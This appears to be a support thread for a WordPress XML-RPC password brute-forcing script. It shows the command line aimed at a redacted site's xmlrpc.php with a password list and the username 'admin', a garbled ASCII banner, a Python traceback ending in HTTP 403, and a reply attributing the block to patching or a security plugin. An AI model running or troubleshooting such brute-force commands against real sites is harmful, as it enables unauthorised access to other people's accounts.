-- --=[Brute forcing target: http://xxxxxxxxxxxxxxxxxxx/xmlrpc.php with username: admin
Traceback (most recent call last):
File "./wordpress-xmlrpc-brute.py", line 169, in
main(sys.argv)
File "./wordpress-xmlrpc-brute.py", line 95, in main
rsp = urllib2.urlopen(req,context=ctx)
File "/usr/lib/python2.7/urllib2.py", line 154, in urlopen
return opener.open(url, data, timeout)
File "/usr/lib/python2.7/urllib2.py", line 435, in open
response = meth(req, response)
File "/usr/lib/python2.7/urllib2.py", line 548, in http_response
'http', request, response, code, msg, hdrs)
File "/usr/lib/python2.7/urllib2.py", line 473, in error
return self._call_chain(_args)
File "/usr/lib/python2.7/urllib2.py", line 407, in _call_chain
result = func(_args)
File "/usr/lib/python2.7/urllib2.py", line 556, in http_error_default
raise HTTPError(req.get_full_url(), code, msg, hdrs, fp)
urllib2.HTTPError: HTTP Error 403: Forbidden
Hi, HTTPError: HTTP Error 403: Forbidden is from the server which means the site has either been patched or has a security plugin blocking XMLRPC. Not much you can do outside of this.
Morning,
I'm trying to use the script, but I don't receive the results because the scripts give me an error.
./wordpress-xmlrpc-brute.py http://xxxxxxxxxxxxxxxxxxx/xmlrpc.php passwords.txt admin
.
/ \ / \ | _/ ____ __ __ \ \/\/ / / \ \ / | ____ \ \ / \ / / / / \ / ( <> ) | | \/ / // | | |> > | | \/ \ __/ \ \ /\ / __/ || __ | | / || > / > / > \/ \/ |__| \/ \/ \/